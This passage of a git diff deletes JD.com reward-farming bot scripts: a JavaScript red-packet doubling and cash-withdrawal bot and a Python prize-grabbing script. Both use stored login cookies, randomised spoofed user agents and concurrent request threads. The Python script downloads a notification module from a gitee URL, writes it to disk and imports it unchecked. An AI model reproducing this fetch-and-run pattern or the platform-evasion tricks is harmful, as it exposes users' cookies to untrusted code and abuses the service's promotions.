`https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, - 'Accept-Language': 'zh-cn', - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': cookie - } - const body = { - 'linkId': fflLinkId - }; - const options = { - url: `https://api.m.jd.com/`, - headers, - body: `functionId=gambleOpenReward&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` - } - return new Promise(resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['code'] === 0) { - console.log(`翻翻乐打开红包 成功,获得:${data.data.rewardValue}元红包\n`); - } else { - console.log(`翻翻乐打开红包 失败:${JSON.stringify(data)}\n`); - if (data.code === 20007) { - $.canOpenRed = false; - console.log(`翻翻乐打开红包 失败,今日活动参与次数已达上限`) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve() - } - }) - }) -} -//翻倍红包 -function openRedReward(functionId = 'gambleChangeReward', type) { - const headers = { - 'Host': 'api.m.jd.com', - 'Origin': 'https://openredpacket-jdlite.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, - 'Accept-Language': 'zh-cn', - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': cookie - } - const body = { - 'linkId': fflLinkId - }; - if (type) - body['rewardType'] = type; - const options = { - url: `https://api.m.jd.com/`, - headers, - body: `functionId=${functionId}&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` - } - return new Promise(resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`翻翻乐结果:${data}\n`); - data = JSON.parse(data); - if (data['code'] === 0) { - $.rewardData = data.data; - if (data.data.rewardState === 1) { - if (data.data.rewardValue >= money) { - //已翻倍到0.3元,可以提现了 - $.canApCashWithDraw = true; - $.changeReward = false; - // message += `${data.data.rewardValue}元现金\n` - } - if (data.data.rewardType === 1) { - console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${data.data.rewardValue}元红包\n`); - } else if (data.data.rewardType === 2) { - console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${data.data.rewardValue}元现金\n`); - // $.canApCashWithDraw = true; - } else { - console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${JSON.stringify(data)}\n`); - } - } else if (data.data.rewardState === 3) { - console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 失败,奖品溜走了/(ㄒoㄒ)/~~\n`); - $.changeReward = false; - } else { - if (type) { - console.log(`翻翻乐领取成功:${data.data.amount}现金\n`) - ReturnMessage += `${new Date().getHours()}点:${data.data.amount}现金\n`; - } else { - console.log(`翻翻乐 翻倍 成功,获得:${JSON.stringify(data)}\n`); - } - } - } else { - $.canApCashWithDraw = true; - $.changeReward = false; - console.log(`翻翻乐 翻倍 失败:${JSON.stringify(data)}\n`); - } - } - } - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve() - } - }) - }) -} -//翻翻乐提现 -function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId, prizeType) { - const headers = { - 'Host': 'api.m.jd.com', - 'Origin': 'https://openredpacket-jdlite.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, - 'Accept-Language': 'zh-cn', - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': cookie - } - const body = { - "businessSource": "GAMBLE", - "base": { - id, - "business": "redEnvelopeDouble", - poolBaseId, - prizeGroupId, - prizeBaseId, - prizeType - }, - "linkId": fflLinkId - }; - const options = { - url: `https://api.m.jd.com/`, - headers, - body: `functionId=apCashWithDraw&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` - } - return new Promise(resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['code'] === 0) { - if (data['data']['status'] === '310') { - console.log(`翻翻乐提现 成功🎉,详情:${JSON.stringify(data)}\n`); - ReturnMessage += `提现至微信钱包成功🎉\n\n`; - } else { - console.log(`翻翻乐提现 失败,详情:${JSON.stringify(data)}\n`); - ReturnMessage += `提现至微信钱包失败\n详情:${JSON.stringify(data)}\n\n`; - } - } else { - console.log(`翻翻乐提现 失败:${JSON.stringify(data)}\n`); - ReturnMessage += `提现至微信钱包失败\n详情:${JSON.stringify(data)}\n\n`; - } - } - } - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve() - } - }) - }) -} -// prettier-ignore -function Env(t, e) { - class s { - constructor(t) { - this.env = t - } - send(t, e = "GET") { - t = "string" == typeof t ? { - url: t - } - : t; - let s = this.get; - return "POST" === e && (s = this.post), - new Promise((e, i) => { - s.call(this, t, (t, s, r) => { - t ? i(t) : e(s) - }) - }) - } - get(t) { - return this.send.call(this.env, t) - } - post(t) { - return this.send.call(this.env, t, "POST") - } - } - return new class { - constructor(t, e) { - this.name = t, - this.http = new s(this), - this.data = null, - this.dataFile = "box.dat", - this.logs = [], - this.isMute = !1, - this.isNeedRewrite = !1, - this.logSeparator = "\n", - this.startTime = (new Date).getTime(), - Object.assign(this, e), - this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`) - } - isNode() { - return "undefined" != typeof module && !!module.exports - } - isQuanX() { - return "undefined" != typeof $task - } - isSurge() { - return "undefined" != typeof $httpClient && "undefined" == typeof $loon - } - isLoon() { - return "undefined" != typeof $loon - } - toObj(t, e = null) { - try { - return JSON.parse(t) - } catch { - return e - } - } - toStr(t, e = null) { - try { - return JSON.stringify(t) - } catch { - return e - } - } - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) - try { - s = JSON.parse(this.getdata(t)) - } catch {} - return s - } - setjson(t, e) { - try { - return this.setdata(JSON.stringify(t), e) - } catch { - return !1 - } - } - getScript(t) { - return new Promise(e => { - this.get({ - url: t - }, (t, s, i) => e(i)) - }) - } - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, - r = e && e.timeout ? e.timeout : r; - const[o, h] = i.split("@"), - a = { - url: `http://${h}/v1/scripting/evaluate`, - body: { - script_text: t, - mock_type: "cron", - timeout: r - }, - headers: { - "X-Key": o, - Accept: "*/*" - } - }; - this.post(a, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - loaddata() { - if (!this.isNode()) - return {}; { - this.fs = this.fs ? this.fs : require("fs"), - this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e); - if (!s && !i) - return {}; { - const i = s ? t : e; - try { - return JSON.parse(this.fs.readFileSync(i)) - } catch (t) { - return {} - } - } - } - } - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), - this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e), - r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) - if (r = Object(r)[t], void 0 === r) - return s; - return r - } - lodash_set(t, e, s) { - return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) - } - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), - r = s ? this.getval(s) : ""; - if (r) - try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { - e = "" - } - } - return e - } - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), - o = this.getval(i), - h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), - s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), - s = this.setval(JSON.stringify(o), i) - } - } else - s = this.setval(t, e); - return s - } - getval(t) { - return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null - } - setval(t, e) { - return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null - } - initGotEnv(t) { - this.got = this.got ? this.got : require("got"), - this.cktough = this.cktough ? this.cktough : require("tough-cookie"), - this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, - t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) - } - get(t, e = (() => {})) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), - this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.get(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), - e(t, s, i) - })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - this.ckjar.setCookieSync(s, null), - e.cookieJar = this.ckjar - } - } catch (t) { - this.logErr(t) - } - }).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - })) - } - post(t, e = (() => {})) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) - this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.post(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), - e(t, s, i) - }); - else if (this.isQuanX()) - t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t)); - else if (this.isNode()) { - this.initGotEnv(t); - const { - url: s, - ...i - } = t; - this.got.post(s, i).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - }) - } - } - time(t) { - let e = { - "M+": (new Date).getMonth() + 1, - "d+": (new Date).getDate(), - "H+": (new Date).getHours(), - "m+": (new Date).getMinutes(), - "s+": (new Date).getSeconds(), - "q+": Math.floor(((new Date).getMonth() + 3) / 3), - S: (new Date).getMilliseconds() - }; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, ((new Date).getFullYear() + "").substr(4 - RegExp.$1.length))); - for (let s in e) - new RegExp("(" + s + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? e[s] : ("00" + e[s]).substr(("" + e[s]).length))); - return t - } - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) - return t; - if ("string" == typeof t) - return this.isLoon() ? t : this.isQuanX() ? { - "open-url": t - } - : this.isSurge() ? { - url: t - } - : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], - s = t.mediaUrl || t["media-url"]; - return { - openUrl: e, - mediaUrl: s - } - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, - s = t["media-url"] || t.mediaUrl; - return { - "open-url": e, - "media-url": s - } - } - if (this.isSurge()) { - let e = t.url || t.openUrl || t["open-url"]; - return { - url: e - } - } - } - }; - this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))); - let h = ["", "==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="]; - h.push(e), - s && h.push(s), - i && h.push(i), - console.log(h.join("\n")), - this.logs = this.logs.concat(h) - } - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), - console.log(t.join(this.logSeparator)) - } - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t) - } - wait(t) { - return new Promise(e => setTimeout(e, t)) - } - done(t = {}) { - const e = (new Date).getTime(), - s = (e - this.startTime) / 1e3; - this.log("", `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`), - this.log(), - (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - } - (t, e) -} diff --git a/backUp/jd_blueCoin.py b/backUp/jd_blueCoin.py deleted file mode 100644 index d989b89..0000000 --- a/backUp/jd_blueCoin.py +++ /dev/null @@ -1,561 +0,0 @@ -#!/bin/env python3 -# -*- coding: utf-8 -* -''' -cron: 59 23 * * * jd_blueCoin.py -''' -################【参数】###################### -# ck 优先读取【JDCookies.txt】 文件内的ck 再到 ENV的 变量 JD_COOKIE='ck1&ck2' 最后才到脚本内 cookies=ck -#ENV设置:export JD_COOKIE='cookie1&cookie2' -cookies = '' -#【填写您要兑换的商品】ENV设置: export coinToBeans='京豆包' -coinToBeans = '' - -#多账号并发,默认关闭 ENV设置开启: export blueCoin_Cc=True -blueCoin_Cc = False -#单击次数 -dd_thread = 3 -############################################### - -import time, datetime, os, sys, random -import requests, re, json -from urllib.parse import quote, unquote -import threading -requests.packages.urllib3.disable_warnings() -pwd = os.path.dirname(os.path.abspath(__file__)) + os.sep -# timestamp = int(round(time.time() * 1000)) -script_name = '东东超市商品兑换' -title = '' -prizeId = '' -blueCost = '' -inStock = '' -UserAgent = '' -periodId = '' -#最长抢兑结束时间 -endtime='00:00:30.00000000' -today = datetime.datetime.now().strftime('%Y-%m-%d') -unstartTime = datetime.datetime.now().strftime('%Y-%m-%d 23:55:00.00000000') -tomorrow = (datetime.datetime.now() + datetime.timedelta(days=1)).strftime('%Y-%m-%d') -starttime = (datetime.datetime.now() + datetime.timedelta(days=1)).strftime('%Y-%m-%d 00:00:00.00000000') - - -def printT(s): - print("[{0}]: {1}".format(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"), s)) - sys.stdout.flush() - -def getEnvs(label): - try: - if label == 'True' or label == 'yes' or label == 'true' or label == 'Yes': - return True - elif label == 'False' or label == 'no' or label == 'false' or label == 'No': - return False - except: - pass - try: - if '.' in label: - return float(label) - elif '&' in label: - return label.split('&') - elif '@' in label: - return label.split('@') - else: - return int(label) - except: - return label - -class getJDCookie(object): - # 适配各种平台环境ck - - def getckfile(self): - global v4f - curf = pwd + 'JDCookies.txt' - v4f = '/jd/config/config.sh' - ql_new = '/ql/config/env.sh' - ql_old = '/ql/config/cookie.sh' - if os.path.exists(curf): - with open(curf, "r", encoding="utf-8") as f: - cks = f.read() - f.close() - r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) - cks = r.findall(cks) - if len(cks) > 0: - return curf - else: - pass - if os.path.exists(ql_new): - printT("当前环境青龙面板新版") - return ql_new - elif os.path.exists(ql_old): - printT("当前环境青龙面板旧版") - return ql_old - elif os.path.exists(v4f): - printT("当前环境V4") - return v4f - return curf - - # 获取cookie - def getCookie(self): - global cookies - ckfile = self.getckfile() - try: - if os.path.exists(ckfile): - with open(ckfile, "r", encoding="utf-8") as f: - cks = f.read() - f.close() - if 'pt_key=' in cks and 'pt_pin=' in cks: - r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) - cks = r.findall(cks) - if len(cks) > 0: - if 'JDCookies.txt' in ckfile: - printT("当前获取使用 JDCookies.txt 的cookie") - cookies = '' - for i in cks: - if 'pt_key=xxxx' in i: - pass - else: - cookies += i - return - else: - with open(pwd + 'JDCookies.txt', "w", encoding="utf-8") as f: - cks = "#多账号换行,以下示例:(通过正则获取此文件的ck,理论上可以自定义名字标记ck,也可以随意摆放ck)\n账号1【Curtinlv】cookie1;\n账号2【TopStyle】cookie2;" - f.write(cks) - f.close() - if "JD_COOKIE" in os.environ: - if len(os.environ["JD_COOKIE"]) > 10: - cookies = os.environ["JD_COOKIE"] - printT("已获取并使用Env环境 Cookie") - except Exception as e: - printT(f"【getCookie Error】{e}") - - # 检测cookie格式是否正确 - def getUserInfo(self, ck, pinName, userNum): - url = 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion?orgFlag=JD_PinGou_New&callSource=mainorder&channel=4&isHomewhite=0&sceneval=2&sceneval=2&callback=GetJDUserInfoUnion' - headers = { - 'Cookie': ck, - 'Accept': '*/*', - 'Connection': 'close', - 'Referer': 'https://home.m.jd.com/myJd/home.action', - 'Accept-Encoding': 'gzip, deflate, br', - 'Host': 'me-api.jd.com', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1', - 'Accept-Language': 'zh-cn' - } - try: - resp = requests.get(url=url, verify=False, headers=headers, timeout=60).text - r = re.compile(r'GetJDUserInfoUnion.*?\((.*?)\)') - result = r.findall(resp) - userInfo = json.loads(result[0]) - nickname = userInfo['data']['userInfo']['baseInfo']['nickname'] - return ck, nickname - except Exception: - context = f"账号{userNum}【{pinName}】Cookie 已失效!请重新获取。" - printT(context) - return ck, False - - def iscookie(self): - """ - :return: cookiesList,userNameList,pinNameList - """ - cookiesList = [] - userNameList = [] - pinNameList = [] - if 'pt_key=' in cookies and 'pt_pin=' in cookies: - r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) - result = r.findall(cookies) - if len(result) >= 1: - printT("您已配置{}个账号".format(len(result))) - u = 1 - for i in result: - r = re.compile(r"pt_pin=(.*?);") - pinName = r.findall(i) - pinName = unquote(pinName[0]) - # 获取账号名 - ck, nickname = self.getUserInfo(i, pinName, u) - if nickname != False: - cookiesList.append(ck) - userNameList.append(nickname) - pinNameList.append(pinName) - else: - u += 1 - continue - u += 1 - if len(cookiesList) > 0 and len(userNameList) > 0: - return cookiesList, userNameList, pinNameList - else: - printT("没有可用Cookie,已退出") - exit(3) - else: - printT("cookie 格式错误!...本次操作已退出") - exit(4) - else: - printT("cookie 格式错误!...本次操作已退出") - exit(4) -getCk = getJDCookie() -getCk.getCookie() - -# 获取v4环境 特殊处理 -try: - with open(v4f, 'r', encoding='utf-8') as v4f: - v4Env = v4f.read() - r = re.compile(r'^export\s(.*?)=[\'\"]?([\w\.\-@#&=_,\[\]\{\}\(\)]{1,})+[\'\"]{0,1}$', - re.M | re.S | re.I) - r = r.findall(v4Env) - curenv = locals() - for i in r: - if i[0] != 'JD_COOKIE': - curenv[i[0]] = getEnvs(i[1]) -except: - pass - - - -if "coinToBeans" in os.environ: - if len(os.environ["coinToBeans"]) > 1: - coinToBeans = os.environ["coinToBeans"] - printT(f"已获取并使用Env环境 coinToBeans:{coinToBeans}") -if "blueCoin_Cc" in os.environ: - if len(os.environ["blueCoin_Cc"]) > 1: - blueCoin_Cc = getEnvs(os.environ["blueCoin_Cc"]) - printT(f"已获取并使用Env环境 blueCoin_Cc:{blueCoin_Cc}") -if "dd_thread" in os.environ: - if len(os.environ["dd_thread"]) > 1: - dd_thread = getEnvs(os.environ["dd_thread"]) - printT(f"已获取并使用Env环境 dd_thread:{dd_thread}") -class TaskThread(threading.Thread): - """ - 处理task相关的线程类 - """ - def __init__(self, func, args=()): - super(TaskThread, self).__init__() - self.func = func # 要执行的task类型 - self.args = args # 要传入的参数 - - def run(self): - # 线程类实例调用start()方法将执行run()方法,这里定义具体要做的异步任务 - # printT("start func {}".format(self.func.__name__)) # 打印task名字 用方法名.__name__ - self.result = self.func(*self.args) # 将任务执行结果赋值给self.result变量 - - def get_result(self): - # 改方法返回task函数的执行结果,方法名不是非要get_result - try: - return self.result - except Exception as ex: - printT(ex) - return "ERROR" - -def userAgent(): - """ - 随机生成一个UA - :return: jdapp;iPhone;9.4.8;14.3;xxxx;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1 - """ - if not UserAgent: - uuid = ''.join(random.sample('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 40)) - addressid = ''.join(random.sample('1234567898647', 10)) - iosVer = ''.join( - random.sample(["14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1", "13.7", "13.1.2", "13.1.1"], 1)) - iosV = iosVer.replace('.', '_') - iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) - ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join( - random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join( - random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) - return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone{iPhone},1;addressid/{addressid};supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' - else: - return UserAgent - -## 获取通知服务 -class msg(object): - def __init__(self, m=''): - self.str_msg = m - self.message() - def message(self): - global msg_info - printT(self.str_msg) - try: - msg_info = "{}\n{}".format(msg_info, self.str_msg) - except: - msg_info = "{}".format(self.str_msg) - sys.stdout.flush() - def getsendNotify(self, a=0): - if a == 0: - a += 1 - try: - url = 'https://gitee.com/curtinlv/Public/raw/master/sendNotify.py' - response = requests.get(url) - if 'curtinlv' in response.text: - with open('sendNotify.py', "w+", encoding="utf-8") as f: - f.write(response.text) - else: - if a < 5: - a += 1 - return self.getsendNotify(a) - else: - pass - except: - if a < 5: - a += 1 - return self.getsendNotify(a) - else: - pass - def main(self): - global send - cur_path = os.path.abspath(os.path.dirname(__file__)) - sys.path.append(cur_path) - if os.path.exists(cur_path + "/sendNotify.py"): - try: - from sendNotify import send - except: - self.getsendNotify() - try: - from sendNotify import send - except: - printT("加载通知服务失败~") - else: - self.getsendNotify() - try: - from sendNotify import send - except: - printT("加载通知服务失败~") - ################### -msg().main() - - -def setHeaders(cookie): - headers = { - 'Origin': 'https://jdsupermarket.jd.com', - 'Cookie': cookie, - 'Connection': 'keep-alive', - 'Accept': 'application/json, text/plain, */*', - 'Referer': 'https://jdsupermarket.jd.com/game/?tt={}'.format(int(round(time.time() * 1000))-314), - 'Host': 'api.m.jd.com', - 'User-Agent': userAgent(), - 'Accept-Encoding': 'gzip, deflate, br', - 'Accept-Language': 'zh-cn' - } - return headers - -#查询东东超市蓝币数量 -def getBlueCoinInfo(headers): - try: - url='https://api.m.jd.com/api?appid=jdsupermarket&functionId=smtg_newHome&clientVersion=8.0.0&client=m&body=%7B%22channel%22:%2218%22%7D&t={0}'.format(int(round(time.time() * 1000))) - respon = requests.get(url=url, verify=False, headers=headers) - result = respon.json() - if result['data']['bizCode'] == 0: - totalBlue = result['data']['result']['totalBlue'] - shopName = result['data']['result']['shopName'] - return totalBlue, shopName - else: - totalBlue = 0 - shopName = result['data']['bizMsg'] - return totalBlue, shopName - except Exception as e: - printT(e) - - -#查询所有用户蓝币、等级 -def getAllUserInfo(userName): - id_num = 1 - for ck in cookies: - headers = setHeaders(ck) - try: - totalBlue,shopName = getBlueCoinInfo(headers) - url = 'https://api.m.jd.com/api?appid=jdsupermarket&functionId=smtg_receiveCoin&clientVersion=8.0.0&client=m&body=%7B%22type%22:4,%22channel%22:%2218%22%7D&t={0}'.format(int(round(time.time() * 1000))) - respon = requests.get(url=url, verify=False, headers=headers) - result = respon.json() - level = result['data']['result']['level'] - printT("【用户{4}:{5}】: {0} {3}\n【等级】: {1}\n【蓝币】: {2}万\n------------------".format(shopName, level, totalBlue / 10000,totalBlue, id_num,userName)) - except Exception as e: - # printT(e) - printT(f"账号{id_num}【{userName}】异常请检查ck是否正常~") - id_num += 1 -#查询商品 -def smtg_queryPrize(headers, coinToBeans): - url = 'https://api.m.jd.com/api?appid=jdsupermarket&functionId=smt_queryPrizeAreas&clientVersion=8.0.0&client=m&body=%7B%22channel%22:%2218%22%7D&t={}'.format(int(round(time.time() * 1000))) - try: - respone = requests.get(url=url, verify=False, headers=headers) - result = respone.json() - allAreas = result['data']['result']['areas'] - for alist in allAreas: - for x in alist['prizes']: - if coinToBeans in x['name']: - areaId = alist['areaId'] - periodId = alist['periodId'] - if alist['areaId'] != 6: - skuId = x['skuId'] - else: - skuId = 0 - title = x['name'] - prizeId = x['prizeId'] - blueCost = x['cost'] - status = x['status'] - return title, prizeId, blueCost, status, skuId, areaId, periodId - # printT("请检查设置的兑换商品名称是否正确?") - # return 0, 0, 0, 0, 0 - except Exception as e: - printT(e) - - -#判断设置的商品是否存在 存在则返回 商品标题、prizeId、蓝币价格、是否有货 -def isCoinToBeans(coinToBeans,headers): - if coinToBeans.strip() != '': - try: - title, prizeId, blueCost, status, skuId, areaId, periodId = smtg_queryPrize(headers,coinToBeans) - return title, prizeId, blueCost, status, skuId, areaId, periodId - except Exception as e: - printT(e) - pass - else: - printT("1.请检查设置的兑换商品名称是否正确?") - exit(0) -#抢兑换 -def smtg_obtainPrize(prizeId, areaId, periodId, headers, username): - body = { - "connectId": prizeId, - "areaId": areaId, - "periodId": periodId, - "informationParam": { - "eid": "", - "referUrl": -1, - "shshshfp": "", - "openId": -1, - "isRvc": 0, - "fp": -1, - "shshshfpa": "", - "shshshfpb": "", - "userAgent": -1 - }, - "channel": "18" - } - - timestamp = int(round(time.time() * 1000)) - url = f'https://api.m.jd.com/api?appid=jdsupermarket&functionId=smt_exchangePrize&clientVersion=8.0.0&client=m&body={quote(json.dumps(body))}&t={timestamp}' - try: - respon = requests.post(url=url, verify=False, headers=headers) - result = respon.json() - printT(result) - success = result['data']['success'] - bizMsg = result['data']['bizMsg'] - if success == True: - printT(result) - printT(f"【{username}】{bizMsg}...恭喜兑换成功!") - return 0 - else: - printT(f"【{username}】{bizMsg}") - return 999 - except Exception as e: - printT(e) - - -def issmtg_obtainPrize(ck, user_num, prizeId, areaId, periodId, title): - - try: - userName = userNameList[cookiesList.index(ck)] - t_num = range(dd_thread) - threads = [] - for t in t_num: - thread = TaskThread(smtg_obtainPrize, args=(prizeId, areaId, periodId, setHeaders(ck), userName)) - threads.append(thread) - thread.start() - for thread in threads: - thread.join() - result = thread.get_result() - if result == 0: - msg(f"账号{user_num}:{userName} 成功兑换【{title}】") - return 0 - nowtime = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f8') - if nowtime > qgendtime: - return 2 - title, prizeId, blueCost, status, skuId, areaId, periodId = isCoinToBeans(coinToBeans, setHeaders(ck)) - if status == 2: - printT("{1}, 你好呀~【{0}】 当前没货了......".format(title, userName)) - return 2 - else: - return 0 - - except Exception as e: - printT(e) - return 1 - -def checkUser(cookies,): #返回符合条件的ck list - global title, prizeId, blueCost, status, 